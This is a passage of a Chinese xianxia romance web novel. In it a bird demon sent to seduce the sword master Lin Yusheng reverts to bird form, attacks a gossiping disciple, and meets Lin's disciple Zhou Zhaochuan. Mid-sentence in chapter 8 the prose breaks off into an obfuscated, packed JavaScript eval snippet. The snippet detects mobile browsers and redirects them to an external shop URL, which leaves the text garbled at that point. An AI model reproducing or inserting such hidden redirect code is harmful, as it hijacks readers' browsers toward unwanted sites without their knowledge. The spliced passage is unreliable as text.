林玉声说话的时候垂了眼睛看我,睫毛就很轻地颤啊颤的。我觉得至少这一点他应该真的没说谎——他这样一个人,看起来就不应该做这些杂事。他殿内怎么连一个洒扫弟子都没有呢? 但这也没关系。横竖现在我在这里呢。 总之我应下来,又问他:“你还有什么不喜欢做的事情吗?” 他站起身:“让我想一想……先过来和我搬书。” 林玉声的确有很多很多书,我看得眼热。我在西山把能搜刮来的书都翻了很多遍,加起来还不到这里的三分之一。林玉声坐在竹椅子上面,我把书摊开放在石头上。 里面有很多深深浅浅的批注,小而俊秀,在字里行间迤逦而下。我看字迹,认出来是林玉声的。他那晚比划的时候我只看出来他的字应当很好看,现在才发现他笔画间都是锋锐出刃的。 但批注的内容有的就不是这样了。我看见他在一本剑法典籍里面批了两遍“顽固”,旁边又硬挤上去一句“误人子弟”。他当时好像很生气。 我侧过眼睛,见他正在很愉快地晒太阳。 林玉声的书除了剑法修炼典籍,最多的却是各种各样的方志笔记。他好像去过很多地方,也想去很多地方,各式各样的批注内容琳琅,字迹都更轻而潦草,大概很开心。 我很难把他跟现在传闻中这样,在流玉峰上百余年几乎闭门不出的样子联系在一起。 那他为什么独独还要到莲心镇呢? 我这样晚才到林玉声的身边。对我而言,林玉声身上有好多好多谜团。我把书一一晒好告诉他的时候,盯着他看,好像我这样看就能看出来答案一样。 林玉声嗯了一声,指指旁边的竹椅子:“歇一歇。” 他把手里的两本书递给我:“这两本心法适合你,你先自己慢慢看,不懂的来问我。” 林玉声笑着的眼睛里面倒映出来我,很小很模糊的一点。 也许他经历过什么事情,也许他有什么难处。但眼下我会很久地留在他旁边。鸟学东西很快,我总会知道,我总会帮他。 就算我身上有那个人的影子又怎么样呢?我还年轻,比他年轻得多,会很久很久地留在林玉声身边的也只会是我。等我和林玉声一起的岁月更长的时候,他就会反过来变成我的影子了。 我觉得自己实在是一只坏鸟,但又忍不住得意。尤其是林玉声像现在这样,眨着眼睛对我笑的时候。 在流玉峰待了两日,我发现林玉声真的好像生来就不是做这些琐事的。 他似乎对东西收在哪真的不大上心,当时找书的时候就翻了有一阵子。下午又要找什么药草,一会儿穿过来一会儿穿过去。 我原本是和他一起找的,找了一会儿实在忍不下去了,尽可能委婉地让他到旁边歇着。 ——他拿了东西,见不是要找的药草就随手堆在一边,继续往下乱翻,翻了连很小的、大概连给猫狗的衣服都翻出来了,也没见到药草的影子。 林玉声已经精细到这个程度了吗?那些小小的衣服上竟然也缀着很亮的琉璃珠子,绣着护身的法纹。 但是我眼下没空想这个。我再只觉得 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林玉声笑着歪歪头:“给你喝的,要不要?” 我看了又看,那瓢水里面浮着花瓣药草,热气卷着清香气,有点像我在莲心镇见到的店铺里面的茶水,看着就很好喝的样子。 “真的吗?”我有些不可置信,“我可以喝吗?” 林玉声讶然一瞬,揉我发顶,脸上说不清是笑还是什么表情:“逗你的。洗澡用的。” 他随手把那瓢水倒进后面能容一人的大盆里面,我看看满盆热水和上面飘着的花草,眼睛都睁大了。 “洗澡用?” “嗯。”林玉声看我,“给你洗,好不好?” 我磕磕绊绊地开口:“我、我会用除尘诀……” “除尘诀哪有这样舒服。”林玉声塞给我条手巾,上面也是和他身上一样、很好闻的淡淡香气,“再说,我特意往里面放的药草,多泡一泡,对你的伤有好处。” 话是这么说,我看着飘着花草的热水,还是犹豫。林玉声靠在竹屏风上面:“怎么,是要我给你洗吗?好吧……” “不是!”我见他慢悠悠地捋起来袖子,忙往后退了一步,“我、我自己……” 林玉声很轻地笑了一声,绕到屏风外面,影子朦朦胧胧:“等会儿给你喝芙蓉茶——可比这个好喝多了。” 我犹豫片刻,脱了外衫,又解了发冠。 亮亮的。 我把衣服仔仔细细地叠好,小心翼翼地拿手拨了拨水,犹豫再三才进去。 这实在是一种很新奇的体验。水里面热乎乎香喷喷,我感觉整个人都要睡着了。林玉声方才说往里面放了药草,泡在里面久了,果然觉得体内灵力运转都充沛顺畅许多,丹田也隐隐地发热起来。 我想,我实在是舒服得有点得意忘形了,隐隐约约觉得水越来越深也没放在心上,直到猛然呛了口水,昏昏沉沉快要睡着的意识才一下子惊醒。 烛影在水中碎裂飞溅,我在溅起的水花中,隐约看见水面上倒映出的灰色影子,惊得瞪大了眼睛。 青婉的话忽然在脑海里面被翻出来。 “有一点你得记着,”她下笔如飞,“妖和人的体质到底不同,有些灵草对人来说只是正常药草,但会引起妖修体内暂时灵力波动不受控制……尤其是你这种化形还不算太久的妖。” 她当时列了个单子,我揣在身上还没来得及仔细看。 ——失策,天大的失策! 我也顾不得是自己灰扑扑的丑鸟样子更丢人,还是泡澡泡出原型这件事更丢人,叽叽喳喳扑棱着翅膀试图扒拉到桶边缘去。 总之林玉声听见动静匆匆过来的时候,从桶里面捞出来了一只很狼狈的落水鸟。 8. 啾啾啾 拿毛巾把我擦干的时候,我不说话,林玉声也不说话,空气安静得出奇。只有明漪似乎觉得很新奇,在一旁跳来跳去。 我更尴尬了。 “我看过了,大概一两日就好了……”林玉声表情也有点尴尬,“怪我,忘了你们妖可能和人不太一样……” 我原本正在自己抖羽毛,听了这话,一下子惊恐万分。 我要用这幅样子和林玉声相处整整一两日! 整整一两日! 我立刻爪子抓了抓毛巾堆起来,又钻回里面,把脑袋也埋进去。 “是哪里……哪里不舒服?”他立刻凑近一点,“怎么这个样子?” 我摇头。也不知道被毛巾裹着,他有没有看见。 “闻鄢,你出来、出来一下?”他说,“我再仔细看看……” 还仔细看! 我幅度更大地摇了摇头。 我知道我这样子不讨人喜欢。别的人或者妖怪就算了,觉得鸟丑也没什么,大不了揍一顿就是了。 但是林玉声不一样。漂亮眼睛看丑鸟做什么? 在能变回人形之前,我是不会出来的! “好吧,”沉默很久之后,林玉声叹气,“其实也行,就是我听说这种情况,要是旁人不帮着调理内息,可能会影响之后的修炼速度……” 我愣了一下,拱了拱毛巾,露出眼睛看他。 “还可能会影响根基呢……”他摇摇头,“其实也没什么,不就是打架比别人差一点吗?其实真的没什么的……” 换做平时,我可能会意识到这是他故意诓我出来。 ——但是我现在是鸟。脑袋小小的、灵智跟化了人形之后根本没法比的鸟。 在他把这话又重复一遍之前,我已经从毛巾团里面跳出来了。 林玉声话说到一半止住,指尖点上我的脑袋,片刻之后唔了一声。 “好像也没什么问题……”他让我跳上他的掌心,低头看我,“所以刚才到底是怎么了?” 我不作声。 他似乎也发现我现在很好骗,眼睛垂下来一点,又像刚才那样很轻地叹了口气,似乎有点委屈:“你不跟我说实话也没什么,也就是我会一直担心得睡不着而已,然后剑也拿不动,椅子也搬不动……其实真的也没什么的……” 这完全不可以! 我很着急,在他手里跳着叽叽喳喳叫了几声,发现我们现在有语言障碍,索性跳下来,爪子在他的砚里面蘸了蘸,在纸上划拉。 鸟字太复杂了。我几笔大概画了个鸟的样子,又歪歪扭扭地写个“丑”字,然后跳到一边,不看他。 林玉声愣了一下,我悄悄觑着,看见他摇摇头,脸上表情像是笑又像是叹息。 “闻鄢,”他叫我,又把手伸到我面前来,“上来。” 我犹豫一下,跳上去。他将我托起来,和他的眼睛平齐。 “谁说你丑了?”他连鸟的脑袋也没放过,很轻地揉了揉,“这不是很可爱吗?” 他转头:“明漪,你说呢?” 明漪飘起来,琉璃剑柄贴了贴我。 林玉声点点头,又装模作样地问我的剑:“你呢?嗯,你也这么觉得。” 变回鸟了我也还记得我的剑不会说话,但是对上林玉声映着稀薄月光的眼睛,我觉得我还是应该装作不知道,啾了一声。 他的手正好够我卧在里面。我看他带着笑色的眉眼,忽然觉出一种很奇怪的感觉,似乎周围的空气都很安静,已经安静了千百年,并且在接下来的千百年也会很安静。 鸟的脑袋小小的,想不明白很多事情。之后变回人了,我再想起来这一瞬的感觉,才回过味来。 ——原来这种感觉,大抵就是我曾听说过的“安心”。 林玉声不知道从哪里翻出来个小垫子。也不知道他的库房又会乱成什么样子。 他刚才问我:“你会想,嗯,想睡在巢里面吗?” 我歪着脑袋看他。我就不记得我睡过这种东西。 鸟一直是到处乱飞乱落脚的。没这习惯。 我摇头,林玉声似乎松了一口气,不知道自己嘀咕了什么,开始在一旁翻东西。 我站在桌子上,看他拿着些巴掌大的垫子手巾在桌上摆开:“你喜欢哪个?” 四五个垫子手巾大小颜色不一,我跳到淡粉色的垫子上面,踩了踩,抬头看他。 软软的。 “这个?”林玉声确认一遍,连垫带鸟往桌子里面又推了推,“反正你一时半会儿应该是变不回去的,这两天你就睡这里,好不好?有什么情况我也能及时知道。” 我眼下待着的是林玉声房间里面靠窗的桌案,和他的床有小小的屏风隔断开。那副讨厌的画卷也已经被他收起来了。 林玉声既然也不讨厌我,那我睡这里,应该……也可以吧? 我犹豫了一下,点点头,跳出来把垫子又往里面推了推,又重新跳进去,转身朝着墙。 鸟很懂分寸的。 早上我把林玉声要的红玉耳坠衔给他的时候,自己在心里算了算。这已经是我没有正经修炼的第五天了。按照原本林玉声答应的,今天我已经可以开始慢慢练剑了。 林玉声还是和平日一样头发半束半散,这次斜斜地插着支银亮的簪子,簪尾很精致地雕着一对莲花苞,坠着细细的流苏。他偏着头穿耳坠,从镜子里面看我:“怎么不高兴?” 我现在是鸟,他也能看出来我高兴不高兴吗? 我摇摇头,也不知道有没有骗过他。 晒太阳的时候林玉声只搬了自己的椅子,两把剑横在他膝头,我窝在一旁。他拢着袖子,布料堆叠成小小的、绵延的青山,有柔软的香气缠绕。 明漪安静不了一会儿,就自己起来到处乱跳。林玉声看看它,又低头看看我。 他自己像平时一样絮絮地说些闲话,而后静静地看我很久。 “好几天没练剑了,”林玉声指尖点着我的脑袋,“不开心,是不是?” 我很惊讶。我以为方才他没问,是我骗过去了。而且他怎么知道我的想法呢? “还是这个样子。”他笑着看我,“这样好不好?我找人来,带你到其他峰看他们切磋。你现在,嗯,肯定是自己拿不了剑的。看别人打凑合一下?” 这当然也很好,我至少可以偷学很多东西。我高兴了一下,又偏头看他。他不和我一起吗? “嗯,我不能出去。”林玉声很轻地拂过我的羽毛,看我给他展示我新长出来的尾羽,“流玉峰的人都还算可靠,我叫他们带你出去,有事就给我传讯。” 流玉峰顶没有旁人已经很奇怪了。他又为什么不能出去呢?我想起来九诘说他在流玉峰闭门不出。我觉得他看起来不像是自己不想下山的样子。 那他又为什么要去莲心镇呢? 我很疑惑地看他,林玉声肯定知道我想问什么,但他什么也没说,只是说:“我已经传了神识,一会儿就有人来带你出去了。” 他拢着我,走下一段台阶,我才看见这里有一道淡青色的结界。他停在结界处,片刻之后果然转过来一个人影,也是穿着青云宗的弟子服,林玉声低声和我说:“这是我峰里面管杂务的弟子,庄云帆。” 说话间庄云帆已经走近了,朝林玉声行礼。 “云帆,”他让我飞出去,“有劳你了。” “峰主瞅您说的,多大点事儿。”庄云帆看着很娟秀,一开口嗓门把我震了一下,笑呵呵地把我接过去,说话语调也很奇怪,我之前在西山从来没听过,“瞅瞅这小鸟儿长的,老招人稀罕了!您搁那心放肚里,我待会儿一点儿不带差的给您送回来嗷!” 我被她的爽朗笑声又震了一下,看向林玉声。林玉声好像浑然不觉,再开口竟然有向庄云帆靠拢的苗头:“成。” 林玉声把我交给庄云帆,站在原处没动,庄云帆转过个弯,他就被挡在山石后面了。 “我咋不知道峰主啥时养鸟儿了呢?”庄云帆捧着我,召出来把长刀,嗓门比方才更大了,“会说话不?来唠唠嗑……你说峰主咋能长成这个样呢?每次见到他那张脸我就紧张,话都不敢大声说……” 我不情不愿地叫了一声,意思是不会说话,不想唠嗑。 “成,不唠也成。”她又打量我,“你说说,你这小鸟儿,长得吧……呃,是没那么俊,但是真是招人稀罕!” 我不明白。她把我小心地塞到袖子里面,足尖一点跳起来踏上半空中已经离地的长刀,又继续念叨。 “就跑一趟,给三百灵石呢。”我看见庄云帆眼睛发亮,“小鸟儿,你跟峰主说说,下次有这种好事还找我呗。我给你多整点可口的,成不?” 我眼睛都睁大了。三百灵石?这就给三百灵石? 我千里迢迢地来勾引林玉声,九诘才给三百灵石! 庄云帆疑惑:“鸟儿啊,你咋的啦?” 算了。她又不是林玉声,看不出来我这会儿在恼什么。我又缩回去,看下面景色飞速地掠过。 半刻钟不到的功夫,我就看见了主峰的建筑群。庄云帆跳下来收了长刀,伸出来手:“出来吧,咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921815|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到地儿了。” 她带着我到的正是那日的演武场,我飞出来,在旁边的屋檐上落脚。 我不喜欢和人离得太近。方才她御刀,没有办法。庄云帆招招手:“飞那么老高干啥呢?——行吧,别乱飞。” 她找了个地方坐下,旁边几个弟子和她打招呼:“庄师妹,又来练刀呢?” “今儿个不练。”庄云帆笑了几声,“有正事儿呢。你们打去。” 里面有两个人没走开,反而又围上来了:“庄师妹,林峰主从山下带回来个人,你知道不知道?” 我正在看演武场上一个剑修与另一个法修交手,闻言分了点目光过来。 提起来我干什么? “不知道啊,”庄云帆摇头,“峰主没跟我说啊。我也没见。” “你在流玉峰上,这都不知道?”左边弟子有点讶然,“那天好多人都看见了呢,林峰主从山下带回来个人,说是好像很喜欢呢,对他护得很……” 没错,没错,就是我。我得意地挪了挪脚。看来我对林玉声的勾引很成功,连旁人也这么觉得。 “我哪知道啊。”庄云帆不太在乎,“带就带呗,跟咱们有什么关系,没那闲工夫打听。” “是跟咱们没什么关系,”右边弟子道,“就是好奇呗。看那妖里妖气的样子,仗着副好皮囊,没准儿是什么合欢宗的呢……” 场上不用再看也知道那个法修要赢了,剑修的破绽已经太明显了。我干脆眯起眼睛,瞧着下面几个人。 庄云帆皱皱眉没接话,那弟子不知道自己乐什么:“我有个师兄可说了,合欢宗的那些可比一般的姑娘带劲多了,林峰主看着心如止水的,敢情也是一样的耐不住寂寞,好这一口呢……啊!” 他脸上留下三道爪痕,霎时见血。 我即便现在是鸟,也很能打。化形之前我也是天天打架的。他说话的内容和神情都让我觉得很讨厌。 他可以乱说话。那么就要承担乱说话的代价。 我很凶地扑过去抓他,羽毛尖端出刃,在他手上脸上留下深深的血痕与乌青。庄云帆在后面大呼小叫让我别打了,我余光看见她嘴上这么说,根本动都没动,甚至嘴角还有点没压下去。 那弟子被我一通攻势打了个措手不及,喊声连连,刚回过神来想斥剑出来,庄云帆就立刻闪了上来,长刀一振隔开飞过来的剑。 “诶呀你这个小鸟儿,怎么乱叨人呢?”庄云帆看起来很忙,但不知道在忙什么,“赵师兄,你看看这事儿整的……以后出门可少说点这种不招人待见的话,什么带劲不带劲的,整天脑子里惦记这些,乱了你道心事小,这样乱嚼舌根,丢了咱们青云宗的脸面事大啊!” 她嗓门很大,周围已经有人看了过来。被我殴打的弟子形容很是狼狈,被这样围观更是恼火,往前一步还想拔剑,庄云帆立刻拦着,嗓门更大:“诶诶赵师兄,我是让你下次注意,这次?这次你跟只鸟计较什么!什么,它给你留疤?真的假的,你连只这么小的小鸟都打不过……” 我朝他又比划了比划尖尖的爪子。我下手还能更重一点。 姓赵的被拉走了,庄云帆又坐回去,试图扒拉我的羽毛:“我看看,您可别伤着哪了——诶呦还好还好……那个姓赵的,早瞅他不顺眼了,编排这个编排那个,还不是自己烂泥扶不上墙的,就开始往别人身上瞎猜了。要不是门规卡在那,早揍他了……你这个小东西,倒是很会打。下次还这样,明白不?姐给你整可口的。” 下次?下次见面,再听见这种话就不是给他留几道疤的事情了。我会直接打断他的腿。 “你这个小鸟,还、还挺凶的。”庄云帆对上我的视线,语调有点不太自然,“你、你不是想连我一起揍吧?” 我拍拍翅膀,飞回屋檐上。 第二场打得也是中规中矩,我学到了迷惑对方的一个小招式。庄云帆拿回来一堆果子,在我旁边摆开。我下意识地挑选林玉声会喜欢吃哪个。 在看到第四场的时候,我开始有点蹲不住了。我分神去想林玉声现在是在做什么。 在看到第六场的时候,我觉出来场边的桃花开得很好——流玉峰上总是霜霰雾气,看不出来季节,到了这里我才意识到眼下是春天。 流玉峰也应该有这些。 庄云帆见我飞走,赶忙追上来。我选了开得最好的、花团堆堆叠叠的一枝,爪子用力折了下来,飞回到庄云帆面前,示意她我想回去。 我从蹲下来就开始想林玉声,眼下我更着急想回去。 他得了花,肯定会对我笑的。 9. 人之常情 庄云帆带着我回到流玉峰下的时候,有人正等在外面,见我们过来点点头:“庄师妹。” 是个眉眼温和的弟子。庄云帆看他应该还算顺眼,笑了笑:“陈师兄,又来送东西啦?我刚正好有事出去了,这不赶趟儿的你说说,久等了久等了……” “无妨。”他点头,其中一个匣子被灵力封住,不知道里面是什么。他把捧着的另外两个匣子掀开盖子给庄云帆看,“掌门差我给林峰主来送这月的案卷。另外是些用具,庄师妹看一看,等下劳烦给林峰主送上去。” 两个人都神色平常,我在一旁很震撼。 两个匣子一打开都是亮晶晶的。左边匣子里面是几支很精巧的簪子和一对玉镯子,右边匣子里面是两块玄霜晶石,是用来淬剑的上好东西。 我衔着枝桃花飞在旁边,忽然很失落。那弟子交接完偏又来看我:“这是师妹养的鸟么?” “不是我,是峰主。”庄云帆低头在记账簿上很快地写了几笔,“好了——陈师兄还有没有旁的事情?” 那弟子又看了我一眼,没说什么,交接完东西便出去。庄云帆合上匣子,摞好抱起来:“走吧,我趁事儿给峰主送上去。” 我拍了几下翅膀跟上她,方才那一星半点得意早消散了。 刚刚转过山石,我就看见林玉声的身影。庄云帆老远就开始叫他:“峰主——我送鸟来了——” 我看见林玉声很快地下了几级台阶,站在结界处。我方才路上到底还是对自己那枝可怜的桃花不好意思起来,索性也一起塞进了匣子里面。 鸟没什么好东西。装作什么都不知道好了。 庄云帆跳上台阶,林玉声抬手,我飞过去停在他掌心。 “这么早就回来了?”他笑着垂眼看我,“觉得无聊?” 我摇头,他指尖在我脑袋顶上点了几下,抬头对庄云帆道:“有劳你了。” 庄云帆停了一下,没说话。我余光看她,见她正有点惊讶地看着我,喃喃道:“这咋这老半天这么老实巴交的呢……” 还好她没提方才我打人的事情。根据我学的那些典籍和鸣琅教我的东西,在林玉声面前,应该还是要装得柔弱一点的。 林玉声好像不太明白:“嗯?” 庄云帆摇摇头:“没什么——峰主,这是方才掌门让人送来的东西。” 她递上来,我偷眼看林玉声神色——没看出来什么。 “好,给我吧。”他接过来,“明日你看库房里面有什么合适的东西,送些回去。” 庄云帆应了声,冲我眨眨眼睛,转身下了山。我飞到林玉声肩上,叫他腾出来手拿东西。林玉声简单看了看那些案卷,放在一旁,指尖又掀开盖子,扫了一眼那两块玄霜晶石,很轻地叹口气,没说什么,又开另一个匣子。 我看见他动作停顿了一下,拿起来那枝桃花看我:“你带的?” 乍一下对上他的视线,我一惊,犹豫片刻还是点点头承认。 好吧。果然什么都骗不过他。还是被发现了。 我失落地拍拍翅膀,局促间却见他笑了,眨着眼睛看我。 他指尖拂过花瓣,好像很喜欢,偏过头来问我:“山下已经是仲春了吗?” 我愣了一下,点点头,叽叽啾啾地和他比划。山下开了很多很好看的花。 他唔了一声,又想了一想:“你路上有没有见到文华峰上的海棠?这个季节应该也开了呢……” 我一个个回答他的问题,又看他。他不出去看看吗? 林玉声还是笑着的,只是眼睛略略地垂下去。他又说:“我现在不能出去。” 他说完便又不说话了,走在寂寂山崖与清寒云气里面,衣袖拖着也像雾气。 我不知道林玉声这样到底是为什么。他总有他的理由,但是没关系。我飞来飞去地和他比划——日后我把底下的桃花海棠梨花梅花都搬到流玉峰上面来。 林玉声笑了:“这地方种不了那些的。” 我不觉得世上有什么事情当真不可能,只是简单一点还是难一点而已。青婉当时还总说我肯定打不赢呢。 林玉声摇摇头,眉眼却舒展开一点。他本来就是顶好看顶好看的人,眼下这样笑起来,实在比山下的春天还好看很多。 从这个角度来讲,其实变成鸟也没什么不好。毕竟如果是人形,我应该是不好这样围着他上蹿下跳,还时不时发呆的。 两天过得也很快。我白日跟着林玉声里里外外到处乱飞,晚上听他念书。 林玉声原本是前几日就已经给过我两本心法,只是这会儿看了看我比一个字也大不了多少的脑袋,决定暂时还是给我念一念。 “灵气入体的原理与几种方法,这里你听懂了吧?” 他念完一节会这样问我,大多数时候我点头,这部分就过去,偶尔摇头,他就再给我解释几句。 我想不通他怎么会这么有耐心。到处偷师修炼这么久,这些东西我也听得出来,大概是给刚刚修炼入门的人学的、再基础不过的东西,他上一次看大概是几百年之前了。 但我的确很需要这些。 从前我都是东一点西一点到处拼凑起来乱七八糟的东西,眼下林玉声这样从头慢慢地念给我听,先前那些碎片才逐渐连成清晰的线。 我这才越发明白,之前青婉为什么总说我搞不好会走火入魔——我之前学的这也太杂了。 做鸟的时候没法说话,变回人之后,我把林玉声要的茶叶罐子递给他,想了想还是问他:“我之前……是不是学得很差?” 林玉声正拿着茶匙,袖子挽到肘际,往煮沸的茶汤之中加了勺盐。看来方才我打坐的时候他就在干这个。 “你很努力,很有天赋。”他右手叉着腰,“不要把环境的局限也当成自己的错。” 我透过氤氲水雾,看他有些朦胧的侧脸。我总觉得这话熟悉,好像我在哪里听过。 “何况呢,该会的你其实也都会,我不过是点拨你一二罢了。”他把茶匙靠在一边,“假以时日,你会是全天下修士里面的翘楚。” 林玉声看向我的眼睛安静而明亮,我知道他不是在哄我。他是真的信我。 他像我自己一样信我,甚至比我自己还要信我。 “但是有一点,”他笑了笑,“不可冒进——我还等着你到时候罩着我呢,你要是贪多冒进、当真走火入魔,或是像之前那样毫不顾惜自己、早早陨落,那我就实在很不划算了。” 什么叫像之前那样呢?他还在把我当成那个早就魂飞魄散的讨厌的妖王。我抬眼看他,忽而想告诉他,我不是那个人。 林玉声站在明亮的水雾之中,一轮玉雕的月亮似的。 我又说不出来话了。 他忽然看我很久,轻声说:“好好活着,好不好?” 林玉声每隔一段时日,就会有一两个时辰让我自己待着,见不到人影。我坐在竹林里面练完了剑坐下来,给鸣琅传讯。 “小闻鄢,我听说你在青云宗里面混得不错嘛。”鸣琅接了传讯就先开口,“我在西山可都听说了 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我正在思索,忽然听见鸣琅语调有点奇怪:“闻鄢,你跟我说实话,你是不是……对他动真情了?” 我没想到她这样发问,一下子沉默了。我这才发现我从来没真正地想过我对林玉声到底是什么感情。 恩情?友情?欣赏之情? 我心下恍然,只觉得都不尽是,都不足够。鸟不懂这些,但我想,我不会再遇见比他更合我心意的人了,我想很长久地留在他身边。我这样告诉鸣琅,听见她长叹一声:“完蛋了。” 她说:“我以为你是根木头,怎么这才几日的功夫,竟然变成了情种?什么时候的事?” 我想,应该是我见他的第一面。 我听见鸣琅吸了一口气:“闻鄢,我告诉过你,干我们这一行的,最不能动真心。” 为什么呢?我不明白。 鸣琅许久才开口:“风月憾事十之八九,动情便结苦,你明不明白?” 她顿了顿,接着道:“你早就清楚,你能被带回去,完全是因为你同之前的那个妖王、同林玉声他那个故人相像。把这件事当任务,做成做不成都罢。你若是动了真心,日日从情中过,便是日日从苦中过,知不知道?” 又提起来他。想起来那个人在画上嚣张的样子,我就心烦。 但是这不重要。我说:“我不觉得苦。” 鸣琅莫名其妙地叹气:“我就说要出问题……你这样到时候怎么全身而退?” 为什么要全身而退呢?我只觉得自己能给林玉声的太少了。我这样告诉鸣琅,听见她更重地叹气。我觉得她这个样子,和当时青婉劝我不要出去打架的时候很像。 喜欢什么、讨厌什么,为什么要顾虑那么多、害怕那么多呢。 我不明白她在发愁什么,我说:“鸣长老,我还记得九诘让我做什么。你放心,我没忘。” 鸣琅很久不说话。我算算林玉声差不多要出来了,准备到殿里面燃香。林玉声不喜欢太浓的,也不喜欢太淡的。我算过,三个时辰添一次正好。 鸣琅听完更加沉默。我又想起来一件事:“对了,鸣长老,你能不能帮我打听件事?” 她声音好像很疲惫:“罢了。你说吧。” “我记得你们狐族旁边的落霞谷里面住的是花妖,”我说,“你要是有空,能不能帮我问问她们,很冷没什么太阳的地方,怎么养活花呢?” 鸣琅直接掐了传讯。 10. 修真界师徒,不得不防 在流玉峰上的一个月过得很快,好像只是一眨眼的事情。我回西山找九诘要说好的三百上品灵石的时候,顺手把新冒头的几个碍眼东西揍了一遍。 也许是因为青云宗灵力的确充足,我比以前进益明显得多。这么酣畅淋漓地揍了一圈,才用了一日半的功夫。青婉见到我的时候很诧异。她说:“你这个突破速度,是把别人夺舍了吗?” 眼下九诘坐在那里,小心地观察我:“你回来,还回去吗?” “我不回去吗?”我正在点灵石,没抬头,“我跟林玉声说好了,几日就回去。” 我对他还是很不放心。一个月间我已经发现此人对琐事都不怎么上心,偏偏自己又讲究很多。留他自己在流玉峰上,不知道自己能不能找到东西、记不记得添香、晚上在竹林外面看月亮又会不会忘了拿上披风。 “那就好。”九诘明显松了一口气,“我还怕你不干了呢……怎么样,我就说这个计划很好,是不是?你就继续留在他身边,多说说西山的好话……” 他似乎真的是一心念着西山,但又实在真的是太剑走偏锋了。 但三百灵石这一点还是很好的。林玉声总念叨青云宗山下丹阳城里面的樱桃酥和成套的泥人,我买的时候还添上了两支漂亮的簪子。亮晶晶的,缀着长长的、细细的流苏,是他喜欢的样子。 我和他说好了今晚回去。他一定在等我。 我绕过山石,见林玉声果然早就在结界那里,像往常一样,提了那盏琉璃莲花灯站着。我跳上台阶,他见了我,眉眼一下子便弯起来,和遥遥钩在山边的月亮一样。 我果然是一只运气很好的鸟。 在流玉峰上的一日和一百日好像都一样。修炼,练剑,和林玉声讨论剑法,三天两头地突破,偶尔下山打劫个秘境或者回西山清理地界,顺道给林玉声带些他近来念叨的东西。日子就这么流水一样过去,等我再意识到的时候,已经是我来到流玉峰的第三个年头了。 林玉声的徒弟周照川就是在这个时候回来的。 那时我和林玉声正在围着本剑法争论——是的,在流玉峰待久了,我胆子也大了,都敢和林玉声争论了。 我与他倒是都觉得书上记着的那一招太过板滞,但对于如何改进各执一词。林玉声认真起来半点也不让着我,我只好也半点不让着他。 只是他说话的时候耳坠子雪珠一样晃啊晃的,小小的光影在颊侧划过来划过去,我还要撑着不分神,实在有点难为我。我对此盘外招实在无可奈何。 这耳坠子还是我在路上买回来的。上次抄了西山的几个魔修老巢,我捞了不少钱。 “光比划看不出来,”我把笔放下来,“试试?” 林玉声想了一想,抬手召过来明漪:“试试。” 但是我们刚刚出殿,就看见山路上走上来两个人。我眯起眼睛,见一个是赵何处,另一个是个不认识的女弟子。林玉声咦了一声。 “照川前几日还说要在外面再待一阵子呢,等到过几个月仙门大会再回宗门呢。”他看着那个人影,“怎么这就回来了?” 我心下有了猜测,看林玉声:“这不会是……你那个徒弟?” 林玉声点点头嗯了一声,说话间两个人已经到了近前。那结界不拦我,也不拦他们。 赵何处还是那副板着脸的样子,只对着林玉声笑了一笑:“玉声,我路上见照川回来,便跟着一起来了。” 他说罢又朝我点点头,算是打招呼,我一样点回去。旁边那个看着很稳重的女弟子这会儿没穿着青云宗的弟子服,一身绿衣衫,朝林玉声规规矩矩地行礼:“师尊。” 我看她,又偷眼看朝她笑眯眯的林玉声,那个觊觎师尊走火入魔的魔修浮现在眼前,心下一下子警铃大作。 我就觊觎林玉声。焉知他的徒弟会不会也像我这样? 毕竟这些时日我越发明白一件事。喜欢上林玉声,实在是人之常情。 林玉声捉到我的目光,很轻地拍了拍我垂在身侧的左手,和我说:“这是我和你提过的,我的徒弟,周照川。” 周照川早就在看我。她好像一直都面无表情,这会儿听见林玉声说话,目光转过去:“师尊,这是您新收的师弟吗?” 我皮笑肉不笑地看她:“没准差辈分了。” 谁要当你师弟。我是来勾引你师尊的。 周照川想了一下,皱了皱眉,看向林玉声:“师尊,这是您给我收的徒弟?这……我阅历尚浅,只怕……” 一阵诡异的沉默中,林玉声先没掌住笑了。他边笑边摇头:“不是、不是……这是我前阵子山下带回来的,嗯,朋友,叫闻鄢。” 朋友?好吧。 赵何处早知道我是什么人,面上神色也有点微妙。周照川噢了一声,抱着剑朝我拱手:“闻道友。” 我装模作样地拱手回去:“周道友。” 林玉声看起来很高兴。我知道他其实喜欢热闹,流玉峰上能有这么多人是相当罕见的事情。 好吧。好吧。算了。也好。 我们四个人坐在竹林外的石桌旁边,周照川说一些她在山下的见闻,又看了好几眼旁边的几棵花树:“师尊,流玉峰上什么时候能种这些花了?” 我没说话,托着下巴看林玉声。鸣琅到底还是给我介绍了位认识的花妖,我寻了个借口,花了两天功夫,到西山又揍了几圈新冒头的碍眼东西、距离篡了妖王之位更近一步,又到落霞谷里面找那位花妖询问。 那花妖主见了我就花容失色,听我讲了来意愣了很久才战战兢兢地讲清楚。 只要多费些功夫——比如每日按着不同时辰浇水松土并且用上磨成粉末的丹药,再用灵力温养六遍——再娇贵的花也能在流玉峰长得很好。 林玉声就笑:“闻鄢种的,费了很多功夫。” 我捏着声音说:“为林峰主费点心算什么?这也不难。” 赵何处和周照川面上露出的神情我很熟悉。我当时看风晴说这话的时候就这样。 虽然其实,抛去矫揉造作的语调不谈,这倒是也句实话。相较之下,林玉声更麻烦——他一开始表现得很好养活,一方面是因为他把心思都放在我身上,另一方面是因为他自己在凑合。我花了几个月摸清楚他的脾性好恶,发现真讲究起来,此人比花更难将养。 举一些很小的例子。比如说,他经常忘记自己想用的簪子梳子耳坠子放在哪里,翻来翻去地都翻乱了。比如说,他不同季节不同时辰要喝不同的茶,从水温到杯盏都各有讲究。比如说,他总是晚上看书看到一半就倚在榻上不管不顾地睡着了,烛火也不熄头发也不解。比如说,他分明怕冷还总爱在外面坐着,回去之后要用灵力热茶锦被一起给他暖上很久。 ——好吧。虽然我承认,我有些乐在其中。再说了,我来勾引他,做这些都是理所应当的。非常正当。 